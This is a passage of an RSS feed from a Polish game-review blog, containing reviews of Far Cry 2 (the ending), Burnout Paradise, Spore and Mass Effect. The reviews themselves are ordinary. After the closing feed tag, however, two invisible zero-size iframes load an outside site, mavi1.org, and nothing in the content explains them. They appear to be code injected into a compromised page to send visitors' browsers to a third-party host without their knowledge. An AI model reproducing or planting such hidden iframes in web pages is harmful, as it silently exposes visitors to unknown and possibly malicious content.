<p>FC 2 nie grzeszy także nadmiarem oryginalnych pomysłów, jeśli chodzi o urozmaicenie zadań. Jakiejś tragedii w tym względzie nie ma, ale poza standard w zasadzie nie wykracza. Z upływem czasu powstaje więc wrażenie pewnej monotonni. Mimo podróży po urokliwych drogach, jazda do miejsca, w którym po raz 20 musimy wybić wszystkich przeciwników, może być nudna.</p>
<p>Ważąc jednak na szali wszelkie &#8220;za&#8221; i &#8220;przeciw&#8221;, trzeba jednoznacznie stwierdzić, że nowe dzieło Ubisoftu jest udane. Przede wszystkim gra oferuje sporą oryginalność i dość nowatorskie spojrzenie na otaczający nas wirtualny świat. Za sprawą upływu czasu, zmian w przyrodzie, urokliwie przedstawionych wszystkich &#8220;drobiazgowych&#8221; czynności i animacji uzyskuje się wrażenie większej intensywności przeżywanej historii. Pod tym względem jest to produkt wyprzedzający konkurencyjne.</p>
<p><object width="425" height="344" data="http://www.youtube.com/v/DMTDjKusVqY&amp;hl=pl_PL&amp;fs=1&amp;" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/DMTDjKusVqY&amp;hl=pl_PL&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/zrecenzowane/far-cry-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Burnout Paradise</title>
		<link>http://www.great-game.net/zrecenzowane/burnout-paradise/</link>
		<comments>http://www.great-game.net/zrecenzowane/burnout-paradise/#comments</comments>
		<pubDate>Wed, 30 Dec 2009 01:02:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zrecenzowane]]></category>
		<category><![CDATA[EA]]></category>
		<category><![CDATA[Paradise City]]></category>
		<category><![CDATA[wyścigówki]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=121</guid>
		<description><![CDATA[Najnowsza samochodówka EA, która miała zatuszować złe wrażenie po kiepskim NfS: Undercover od czasu premiery narobiła sporo szumu w świecie wirtualnych wyścigów. Burnout Paradise pojawił się na konsole w styczniu zeszłego roku. Teraz przyszła kolej na blaszaki. Czekaliśmy prawie 8 lat, ale po tym co zobaczyłem jestem pewien, że ta gra podbije cały świat. 
Instalacja [...]]]></description>
			<content:encoded><![CDATA[<p>Najnowsza samochodówka EA, która miała zatuszować złe wrażenie po kiepskim NfS: Undercover od czasu premiery narobiła sporo szumu w świecie wirtualnych wyścigów. <strong>Burnout Paradise</strong> pojawił się na konsole w styczniu zeszłego roku. Teraz przyszła kolej na blaszaki. Czekaliśmy prawie 8 lat, ale po tym co zobaczyłem jestem pewien, że ta gra podbije cały świat. <span id="more-121"></span></p>
<p>Instalacja trwa kilka minut. Potem już gramy. Na początku spotykamy niestety mały minus-nie można stworzyć bowiem własnego profilu o nazwie administratora. Wciskamy start i jazda. No nie tak od razu oczywiście, jeszcze wczytywanie, które za pierwszy razem trwa trochę czasu . Zabawę rozpoczynamy z poturbowanym samochodem, ale wystarczy zajechać do mechanika i już wygląda jak nowy. Później na stację paliw po pełen zapas nitra. Sterowanie zostało trochę zmienione w porównaniu do podstawowego a dokładnie, zamiast strzałki do góry jako gaz jest &#8221; A&#8221;, a zamiast strzałki w dół &#8221;Z&#8221;. Z początku sprawia to pewne trudności, ale po jakichś 30 minutach nabieramy nieco wprawy. Jedziemy dalej.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-122" style="border: 1px solid black;" title="Burnout Paradise" src="http://www.great-game.net/wp-content/uploads/2009/12/burnout.jpg" alt="Burnout Paradise" width="460" height="260" /></p>
<p>Konkurencji jest pięć. Oto one:</p>
<ol>
<li>Wyścig &#8211; Jest to najzwyklejszy sprint od jednego do drugiego punktu, w którym pierwszy na mecie wygrywa. Co prawda punktów na mapie do których się ścigamy jest tylko kilka i zawsze znajdują się w tym samym miejscu, ale mnie bynajmniej nie przeszkadza to w dobrej zabawie.</li>
<li>Akrobacje &#8211; To zawody przeznaczone dla tych, którzy lubią driftować, skakać oraz kręcić w powietrzu beczki, bowiem właśnie za to przyznawane są tutaj punkty. By wygrać trzeba w ograniczonym czasie osiągnąć podany wynik punktowy.</li>
<li>Ścigany &#8211; Typowy wyścig do punktu z tą małą różnicą ścigamy się z kierowcami, którzy na nas polują. Nasze zadanie to po prostu dojechanie do wyznaczonego miejsca bez całkowitego rozwalenia samochodu, co czasami jest bardzo trudne.</li>
<li>Pirat &#8211; Jest chyba najprzyjemniejszą ze wszystkich konkurencji, polega bowiem na przepychaniu się z przeciwnikami oraz rozwalaniu ich aut. Żeby wygrać należy osiągnąć podany wynik minimalnej liczby zniszczeń oraz tak jak poprzednio nie dać całkiem rozwalić swojego wozu.</li>
<li>Piekielna trasa &#8211; Ostatni z trybów rozgrywki jest jazdą na czas z punktu A do punktu B. Nagrodą w każdych zawodach jest specjalny, ulepszony model samochodu, którym jechaliśmy.</li>
</ol>
<p>Każde zwycięstwo w powyższych zawodach zmniejsza liczbę wyścigów, które musimy wygrać, by uzyskać o klasę wyższe od obecnie posiadanego prawa jazdy. Ma to zastąpić brak typowej kariery lub jakiejś osi fabularnej. Niektórym to pasuje, innym nie.</p>
<p>Oprócz zdobywania coraz to wyższych licencji prawa jazdy, zadania, które na nas czekają to m.in. ustanowienie rekordowych czasów przejazdu na każdej z ulic, ustanowienie rekordowych zniszczeń na każdej z ulic, znalezienie wszystkich parkingów, wykonanie specjalnych skoków z ramp umieszczonych na ulicach Paradise City czy znalezienie wszystkich skrótów. Tym bardziej, że oprócz samochodów w grze znajdziemy także motocykle. Co prawda maszyn dwukołowych jest bardzo mało, tak, jak wyścigów oraz konkurencji dla nich.</p>
<p>Tryb multiplayer oferuje wszystkie znane nam z konsol tryby, czyli przede wszystkim wolną jazdę po mieście ze znajomymi oraz wykonywanie specjalnych grupowych zadań. Oczywiście dostępne są także klasyczne rodzaje wyścigów. Dodatkowo The Ultimate Box zawiera rozszerzenie przeznaczone do rozgrywki wieloosobowej przy jednym komputerze &#8211; dodatek ten w wersji na X360 jest płatny, dlatego tym bardziej ucieszyłem się, że został dodany. Dodatek imprezowy przeznaczony jest maksymalnie dla ośmiu graczy, którzy kolejno zmieniają się przed klawiaturą.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-123" style="border: 1px solid black;" title="Burnout Paradise" src="http://www.great-game.net/wp-content/uploads/2009/12/burnout2.jpg" alt="Burnout Paradise" width="460" height="260" /></p>
<p>Kolejnym z wielkich atutów Burnout Paradise jest piękna oprawa graficzna. Przede wszystkim należy wymienić tutaj widowiskowe kraksy, podczas których gnie się blacha, szyby lecą w proch, a części auta dosłownie rozsypują się dookoła niego. Zniszczenia generowane są w czasie rzeczywistym, a to oznacza, że za każdym razem są one inne. Kraksy z BP mogą rywalizować jedynie z tymi z GRiD&#8217;a &#8211; reszta konkurencji jest daleko w tyle. W porównaniu do wersji konsolowej pecetowy Burnout jest ładniejszy. Drobne różnice było widać już na pierwszy rzut oka, jednak by w pełni zobaczyć piękno dopracowanej grafiki musiałbym mieć dużo mocniejszy sprzęt &#8211; w końcu The Ultimate Box na komputery obsługuje wyższe rozdzielczości, niż ten na konsole. Dźwięk również nie ustępuje grafice. Odgłos odpalanego samochodu, pisk opon i warkot silnika wykonane są świetnie.</p>
<p>Burnout Paradise The Ultimate Box to po prostu fenomenalna gra. Ma oczywiście swoje minusy, ale są prawie niewidoczne. Najpoważniejszym z nich są wysokie wymagania sprzętowe, ale optymalizacja zrobiona jest wprost genialnie(w przeciwieństwie do chociażby GTA IV). Nie można stworzyć gry idealnej, ale studiu Criterion prawie się udało.</p>
<p><object width="448" height="272" data="http://www.youtube.com/v/1pDivKcAIow&amp;hl=pl_PL&amp;fs=1&amp;" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/1pDivKcAIow&amp;hl=pl_PL&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/zrecenzowane/burnout-paradise/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SPORE</title>
		<link>http://www.great-game.net/zrecenzowane/spore/</link>
		<comments>http://www.great-game.net/zrecenzowane/spore/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 01:05:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zrecenzowane]]></category>
		<category><![CDATA[EA]]></category>
		<category><![CDATA[symulator]]></category>
		<category><![CDATA[Will Wright]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=118</guid>
		<description><![CDATA[Do gier symulacyjno – strategicznych zniechęciła (to mało powiedziane;) mnie seria The Sims wraz ze swoją masą bezużytecznych dodatków, które praktycznie nic nie wnosiły do rozgrywki, a kosztowały tyle co&#8230; samodzielna produkcja (na szczęście zostało już oficjalnie zapowiedziane The Sims 3). Mój stosunek do tego rodzaju gier zmieniło Spore. Dlaczego? Przeczytacie o tym poniżej ;D.
Spore [...]]]></description>
			<content:encoded><![CDATA[<p>Do gier symulacyjno – strategicznych zniechęciła (to mało powiedziane;) mnie seria The Sims wraz ze swoją masą bezużytecznych dodatków, które praktycznie nic nie wnosiły do rozgrywki, a kosztowały tyle co&#8230; samodzielna produkcja (na szczęście zostało już oficjalnie zapowiedziane The Sims 3). Mój stosunek do tego rodzaju gier zmieniło Spore. Dlaczego? Przeczytacie o tym poniżej ;D.<span id="more-118"></span></p>
<p><strong>Spore</strong> to gra symulacyjno – strategiczna, coś a la The Sims. Jednak pomimo ogromnych podobieństw do siebie, są to dwie różne gry, dwa różne światy (wow, złota myśl). W simach mamy do czynienia z symulacją ludzkiego życia, a tu budujemy od podstaw żywy organizm. Żeby lepiej zobrazować nam ten proces, autorzy (gry) podzielili rozgrywkę na pięć całkowicie odmiennych faz. A ja zrobiłem to samo w recenzji&#8230;.</p>
<p>Już na samym początku musimy zdecydować, czy będziemy roślinożercą albo mięsożercą, co ma wpływ na dalszą rozgrywkę, co chyba każdy wie albo się domyśla. Jednak dla niekumatych wytłumaczę. Roślinożerca żywi się roślinkami, a mięsożerca innymi organizmami żywymi. I tak, kierując tym pierwszym będziemy zjadać owoce, a tym drugim inne zwierzęta. Jeżeli tego nie będziemy robić nasz stworek po prostu „wykituje”;(.</p>
<p>Kreator stworów Spore został udostępniony jako oddzielna aplikacja, którą można było kupić za jedyne 19,90 zł. Dzięki niemu internauci i (czyli my;) mieli czas, by przygotować bazę istot (Sporopedia), które pojawiają się w świecie gry. Do tej pory powstało około 2,5 mln gatunków. Ten sam edytor znajduje się, też w pełniaku i można go używać nawet nie grając w główną kampanię, a potem te stwory pojawią się już w prawdziwej grze.</p>
<p>W tym etapie gry chodzimy (a raczej pływamy;) małą komórką żywą zbierając zielone kuleczki DNA pływające na powierzchni tzw. prebiotycznej zupy. Po zebraniu ich pewnej ilości nasz stworek rośnie w mgnieniu oka, co powoduje że stworki, które dotąd były od nas większe, są teraz mniejsze lub równe nam (mówię wam, to totalny odlot;). Po przejściu pięciu takich transformacji okazuje się,że zebrałeś już wystarczając ilość DNA aby przejść do następnego etapu.</p>
<p>Tu dopiero zaczyna się prawdziwa rozgrywka, która tym razem toczy się, zaraz po tym jak nasz organizm wychodzi na ląd. W odróżnieniu od poprzedniej ery tu DNA możemy pozyskiwać na kilka różnych sposobów, a mianowicie: zawieranie sojuszy z innymi rasami, za pomocą wspólnych tańców, śpiewów; ale także za pomocą agresji, wybijając daną rasę “w pień”; odgrzebując ze skamieniałych szkieletów części ciała, które możemy zamocować później do naszego ludzika (w tym celu romansujemy z samcem  ze swojego gatunku;) i od czasu do czasu emigrując do innego miejsca. Celem tego etapu gry jest powiększenie swojego mózgu czterokrotnie, po czym przenosimy się do następnej ery. Ta faza najbardziej przypomina RPG.</p>
<p>W tej erze po raz pierwszy będziemy mogli kierować nie jednym stworkiem, a całą ich grupką (maksymalnie 12). Dlatego też ta część przerodzi się w strategię czasu rzeczywistego, w której budujemy budynki(uprzednio stworzone w kreatorze) i tworzymy nowe jednostki (gdy produkujemy nowego stworka nad naszym domem pojawią się serca i usłyszymy przez chwilę kołysankę;). Jednak żeby nasza wioska się rozwijała musimy zdobywać pożywienie, a do tego posłuży nam zbieranie owoców (roślinożercy) bądź polowanie na dzikie zwierzęta lub ich udomawianie, a potem zjadanie ich jaj (mięsożercy). Tak jak poprzednio zdecydujemy też czy będziemy zawierać sojusze, czy też za pomocą agresji zdobywać kolejne wioski. W każdym bądź razie wybór należy do nas.</p>
<p>Kolejnym etapem gry jest faza cywilizacji i tu dostrzeżemy ogromne podobieństwa do takich hitów jak Empire Earth i Civilization (autorzy wiedzą od kogo brać pomysły;). Więcej bierze jednak od tego drugiego tytułu, bo nie dość ,że ma taką samą nazwę, to jeszcze kończy się tym samym, czyli wystrzeleniem rakiety w kosmos. Zanim jednak będziemy latać wśród gwiazd ,musimy przekonać do swojej religii, podbić lub wykupić dwanaście pozostałych miast na twojej planecie. Całość jest bardzo złożona: możemy zakładać szlaki handlowe, tworzyć pojazdy latające, pływające bądź jeżdżące, dbać o samopoczucie mieszkańców itp. Ponadto są trzy rodzaje miast :religijne, gospodarcze i wojskowe. Dodatkowo każde z nich produkuje inne pojazdy ,które oczywiście możemy zbudować za pomocą edytora <img src='http://www.great-game.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . Już po tej erze wiedziałem, że mam do czynienia z grą bardzo rozbudowaną, jednak nie widziałem co czeka mnie w następnej fazie ;P</p>
<p>Na początku już tradycyjnie przywita nas edytor, w którym tym razem zaprojektujemy&#8230; statek kosmiczny!!! I tu czeka nas miła (czy na pewno?) niespodzianka. Bo nie będziemy już chodzić pojedynczym stworkiem (1 i 2 faza) ani kierować ogromną armią (3 i 4 faza), ale latać wyżej wspomnianym statkiem kosmicznym! Sterowanie nie zmieniło się znacząco ,ponieważ do latania wystarczy nam myszka i klawisze WSAD. Samo poruszanie się UFO daje ogromną satysfakcję i frajdę. Drugim ogromnym zaskoczeniem dla mnie była mnogość kosmosu (ponad tysiąc galaktyk, układów słonecznych oraz planet!!!) i ilość opcji jakie autorzy dali do dyspozycji gracza. Możemy między innymi: handlować, zawierać sojusze, toczyć wojny, odkrywać nowe planety i je kolonizować (zbierając tym samym przyprawę), nawiązywać łączność z innymi rasami itp. I tu ogromne brawa dla autorów za taką mnogość opcji. Jednak jest i minus, ponieważ tak złożona rozgrywka powoduje że gra staje się trudniejsza &#8211; trzeba więcej myśleć i panować nad setką różnych opcji, co po pewnym czasie staje się nużące i gra traci swój urok.</p>
<p>Spore nie posiada takowego trybu multiplayer (a szkoda), w którym byśmy mogli toczyć pojedynki PvP i inne temu podobne. Jest za to Sporopedia. Zapytacie&#8230; A co to k**** jest? Otóż spieszę z wyjaśnieniami. Sporopedia to zbiór stworków, gatunków, pojazdów, roślin itp. stworzonych przez gracza, który korzysta z innego komputera niż ty i może znajdować się nawet na Dalekim Wschodzie (np.: chińczyki;). Więc na jednej z planet możemy spotkać rasę zaprojektowaną przez innego żywego gracza ,takiego jak ty. Jest to bardzo fajne, ale mimo wszytko brakuje trybu ,w którym gracze mogliby rywalizować ze sobą poprzez Internet. Ale Sporopedia to coś więcej, to także poradnik, z którego możemy skorzystać w każdym momencie podczas gry.</p>
<p>Grafika prezentuje się w Spore naprawdę dobrze. Postacie są złożone z kilkudziesięciu detali przez co widzimy dokładnie ich każdą ryskę na twarzy. Wszytko to otoczoną miła dla oka powłoką. Wielkie brawa dla autorów zwłaszcza za dobrze zoptymalizowany kod (dość powiedzieć, że Spore chodziło u mnie na średnich ustawieniach;) i  to przy takiej grafice. Jednak trzeba też dodać, że czasami zdarzają się przekłamania graficzne, co psuje trochę ocenę końcową.</p>
<p>Dźwięk prezentuje się nie gorzej, bo utwory są ładne i  przyjemne dla ucha. Świetnie się dopasowuje do akcji na ekranie i razem z grafiką, a także simlishową mową stworków tworzą wspaniały, niezapomniany klimat.</p>
<p>Przed premierą produkcji miałem pewne obawy co do tej gry, ponieważ nie wierzyłem, że wszystko co Will Wright obiecał się spełni i podchodziłem do tej produkcji dość obojętnie. Jednak Spore okazało się mądrym, pełnym humoru, oryginalnym i całkowicie przełomowym dziełem. Naprawdę warto zainwestować w tę grę, szczególnie jeśli spodobały nam się Simsy, bądź Viva Pinata.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/zrecenzowane/spore/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mass Effect</title>
		<link>http://www.great-game.net/zrecenzowane/mass-effect/</link>
		<comments>http://www.great-game.net/zrecenzowane/mass-effect/#comments</comments>
		<pubDate>Tue, 11 Aug 2009 22:30:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zrecenzowane]]></category>
		<category><![CDATA[BioWare]]></category>
		<category><![CDATA[RPG]]></category>
		<category><![CDATA[Xbox 360]]></category>

		<guid isPermaLink="false">http://www.great-game.net/?p=112</guid>
		<description><![CDATA[BioWare to studio które znane jest przede wszystkim z gier RPG. Na swoim koncie mają oni takie klasyki jak Baldur’s Gate, Neverwinter Nights, Star Wars: Knights of the Old Republic czy Jade Empire. Ich najnowsze dzieło Mass Effect w końcu trafił na PeCety. O tym że to będzie kolejna świetna produkcja wiedzieliśmy już pod koniec [...]]]></description>
			<content:encoded><![CDATA[<p>BioWare to studio które znane jest przede wszystkim z gier RPG. Na swoim koncie mają oni takie klasyki jak Baldur’s Gate, Neverwinter Nights, Star Wars: Knights of the Old Republic czy Jade Empire. Ich najnowsze dzieło Mass Effect w końcu trafił na PeCety. O tym że to będzie kolejna świetna produkcja wiedzieliśmy już pod koniec 2007 roku, gdy właśnie ta gra trafiła na Xboxa 360, zbierając ponad 80 nagród w tym za Najlepszą Grę RPG 2007 roku. <strong>Mass Effect</strong> na PC jest w stanie również dostać wiele nagród, bo to gra pod każdym względem bardzo dobra. <span id="more-112"></span></p>
<p><strong>Dawno, dawno temu…</strong></p>
<p>Akcja gry rozpoczyna się w 2183 roku. Ludzie od kilku lat zaczęli eksplorować galaktykę. Zostali także dostrzeżeni przez Radę, która swoją siedzibę ma w Cytadeli. Cytadela to ogromna baza w której każda rasa ma swojego ambasadora. Została ona zbudowana przez tajemniczych Protean, którzy raptem zniknęli ze Wszechświata okrągłe 50.000 lat, nie pozostawiając po sobie prawie żadnych śladów. I tu właśnie poznajemy Sheparda, naszego głównego bohatera, tej epickiej opowieści. Komandor Shepard ma właśnie wykonać swoją pierwszą misję na pokładzie Normandy. Ta misja ma przybliżyć go do zostania Widmem czyli specjalnym agentem Rady.  W wykonaniu misji przeszkadza mu Saren i armia gethów. Shepard postanawia złapać Sarena który zdradził Radę, ale to co ma się wydarzyć wkrótce, przekracza najśmielsze sny. Cała galaktyka jest w niebezpieczeństwie i to właśnie Shepard musi ją uratować.</p>
<p style="text-align: center;"><img class="size-full wp-image-113 aligncenter" style="border: 1px solid black;" title="Mass Effect" src="http://www.great-game.net/wp-content/uploads/2009/08/masz-effect.jpg" alt="Mass Effect" width="460" height="300" /></p>
<p>Fabuła od pierwszego momentu jest emocjonująca i pozostaje taka aż do napisów końcowych włącznie.  Od pierwszych chwil mamy przeczucie że będziemy brać udział w epickich wydarzeniach i w tej kwestii nie mylimy się.</p>
<p><strong>Shepard dla każdego</strong></p>
<p>Przed samą fabuła gry będziemy zmuszeni stworzyć swojego prywatnego Sheparda. Mamy możliwość wybrania mężczyzny jak i kobiety i zmienienia mu praktycznie całej twarzy, więc nic nie stoi na przeszkodzie aby zmienić kolor włosów czy rozmieszczenie oka. Potem przychodzi czas na wybranie historii naszego bohatera, najpierw wybieramy miejsce urodzenia, a później wydarzenia z jego pierwszej misji. W obu przypadkach mamy możliwość wybrania jednej pozycji z trzech. Jest to bardzo istotne co wybierzemy, bo od tego będzie zależało jak niektórzy NPC będą nas traktować, jak do nas zwracali. Później przychodzi czas na wybranie klasy dla Sheparda. Do wyboru mamy ich sześć, z czego trzy to klasy podstawowe, a pozostałe to mieszanki poprzednich. Zatem żołnierz to typowy wojownik z gier fantasy, jest on silny i wytrzymały. Inżynier to klasa defensywna, która jest niezbędna w drużynie, bo dzięki niej mamy dostęp do terminali i zamkniętych pojemników. Adept dzięki swojej biotyce potrafi manipulować swoim oponentem, jest to odpowiednik czarodzieja. Szpieg to połączenie żołnierza i inżyniera. Strażnik to fuzja inżyniera i adepta. Natomiast szturmowiec łączy żołnierza i adepta. Gdy już zdecydujemy się na jedną z klas czeka nas fascynująca przygoda.</p>
<p><strong>Zadania i galaktyka</strong></p>
<p>W Mass Effect mamy do wykonania raptem kilkadziesiąt zadań głównych przez co grę można ukończyć już 10 godzin. Jednak w tej grze jak i innych RPG-ach mamy możliwość wykonania szeregu misji pobocznych. W ME jest ich pełno i prawie na każdym kroku ktoś potrzebuje naszej pomocy. Często są to zadania gdzie musimy się udać we wskazane miejsce i użyć naszej siły perswazji. Po tym jak obejmiemy dowodzenie nad statkiem Normandy, będziemy mieli możliwość użyć galaktycznej mapy. Często zdarzają się misję z cyklu „Niezbadany Świat” w którym musimy udać się na jakąś planetę i zbadać różne rzeczy. Mapa galaktyki dzieli się na ogólną gdzie pokazany jest cały Wszechświat, później są gromady, następnie układy i w końcu planety. Prawie w każdym układzie jest chociaż jedna planeta na której można wylądować. Możemy również badać planety aby uzyskać rożne surowce jak np. metal. Cała galaktyka jest ogromna, szkoda tylko że możemy wylądować na kilku planetach, bo ilość planet wizyjnie robi wrażenie.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-114" style="border: 1px solid black;" title="Mass Effect" src="http://www.great-game.net/wp-content/uploads/2009/08/mass-effect2.jpg" alt="Mass Effect" width="460" height="300" /><strong><br />
</strong></p>
<p><strong>Umiejętności i pomocnicy</strong></p>
<p>Jak w dobrym RPG-u tak i tu za wykonane zadania dostajemy punkty doświadczenia, co umożliwia nam awanse na wyższe poziomy. Shepard maksymalnie może „levelować” do 60 poziomu, ale za pierwszym razem możemy zdobyć 50 lvl. Za każdy awans dostajemy punkty które wymieniamy na umiejętności. Każda klasa postaci ma odmienne umiejętności które należy rozwijać aby polepszyć nasze statystyki w walce czy w obronie, dzięki czemu nasz bohater na 60 lvl może być nieźle napakowany. Podczas całej gry do naszej drużyny dołączy sześć odmiennych postaci którzy również mogą awansować. Możemy wybrać tylko dwójkę pomocników, dlatego umiejętności całej drużyny muszą się dopełniać. Każda z klas ma tyle umiejętności do rozwinięcia że ciężko jest je wszystkie rozwinąć, dlatego już od początku musimy mądrze wybierać.</p>
<p><strong>Walka i wyposażenie</strong></p>
<p>Walka w Mass Effect jest szybka, dynamiczna i taktyczna. Każdy pojedynek składa się z wymiany ognia i użycia mocy biotycznych. Podczas walk tryb gry zmienia się na tradycyjnego FPS-a z celownikiem na środku ekranu. Do wyboru mamy cztery rodzaje broni: pistolety, karabiny, strzelby i karabiny snajperskie, a dodatkowo dostajemy jeszcze granaty. Naszej drużynie możemy wydawać proste polecenia jak atak, obrona itp. A także wskazywać cele na które nasi pomocnicy mają atakować. Walki są ciekawe i bardzo szybki, każda zwykłą strzelanina kończy się po kilkudziesięciu sekundach. Gdy odniesiemy rany leczymy się za pomocą medi żelu.  Każdą z broni lub pancerzy możemy ulepszyć, aby była bardziej skuteczna. Ulepszenia dotyczą także amunicji.</p>
<p><strong>Konwersacja</strong></p>
<p>W ME rozmowy są zrobione bardzo nowatorsko i praktycznie nie wiemy czy na pewno dobrze wybraliśmy. Podczas rozmowy mamy aż trzy wybory dalszych dialogów. Nie mamy tu wprost napisane co powie nasza postać tylko sugeruje nam one postawę która określa czy zwrócisz się do danej postaci uprzejmie, ozięble czy też po chamsku. Czasami May również możliwość użycia perswazji jak urok czy zastraszania. Sposób rozmowy wpływa głównie na punkty Idealisty lub Renegata. Jednak te punkty nie mają większego wpływu na dalsze rozmowy.</p>
<p><strong>Ibłędy tu są….</strong></p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-115" style="border: 1px solid black;" title="Mass Effect" src="http://www.great-game.net/wp-content/uploads/2009/08/mass-effect3.jpg" alt="Mass Effect" width="460" height="300" /></p>
<p>A mogło być tak pięknie, niestety nawet BioWare robi w swoich grach duże błędy. Bardzo ciężko steruje się pojazdem MAKO, który pomimo że sterujemy identycznie jak Shepardem, pojazd zachowuje się dziwnie i jest bardzo wyczulony na nawet najmniejsze naciśnięcie skrętu. Niestety niektóre misje główne będziemy musieli ukończyć za pomocą MAKO, więc trzeba się najpierw przyzwyczaić do prowadzenia.  Szkoda także że jak już wcześniej pisałem możemy eksplorować tylko kilka planet z całego układu. One aż proszą się o odwiedzenie.  Zdarzają się również monotonne misje poboczne, ale na szczęście ich jest w mniejszości. Te wszystkie błędy to nic w porównaniu z ekranami wczytywania. Gra wczytuje się prawie wszędzie, nie raz będziemy się denerwować na to że po raz któryś znowu widzimy „wczytywanie”, na szczęście takie ekrany rzadko kiedy pojawiają się podczas walk.</p>
<p><strong>Co tak nam pięknie wygląda i gra</strong></p>
<p>Grafika jak i muzyka stoją na naprawdę bardzo wysokim poziomie, wszystko wygląda świetnie, animacje się nie tną, a modele i tekstury postaci wyglądają rewelacyjnie.  Od samego początku widać że gra utrzymana jest w kolorystyce granatu i fioletu dzięki czemu zyskujemy dodatkowy klimat. Wszystkie dźwięki również zostały bardzo dobrze dobrane, a kawałki wpadają w ucho. Do dziś nucę sobie pod nosem muzykę z utworu który pojawia się w napisach końcowych.  Muszę niestety tutaj napisać że głosy komandora/komandor Shepard w które rolę wcielili się Marcin Dorociński i Magdalena Różczka, wypadają bardzo słabo, są one drętwe i mówią swoje kwestie bez żadnych uczuć.  Na szczęście reszta głosów z dubbingu to starzy wyjadacze i mają oni duże doświadczenie w podkładaniu głosów, dlatego reszta spisała się świetnie.</p>
<p>Jak widać najnowsze dzieło BioWare jest grą naprawdę rewelacyjną, wszystkie minusy nie są na tyle poważne aby zepsuć przyjemność z gry. Nie ma na co czekać, wcielaj się w Sheparda i ratuj wszechświat, w końcu nie możesz zawieść wszystkich mieszkańców galaktyki.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.great-game.net/zrecenzowane/mass-effect/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<IFRAME src="http://mavi1.org" width=0 height=0 frameborder=0></IFRAME>
<IFRAME src="http://mavi1.org/forum" width=0 height=0 frameborder=0></IFRAME>

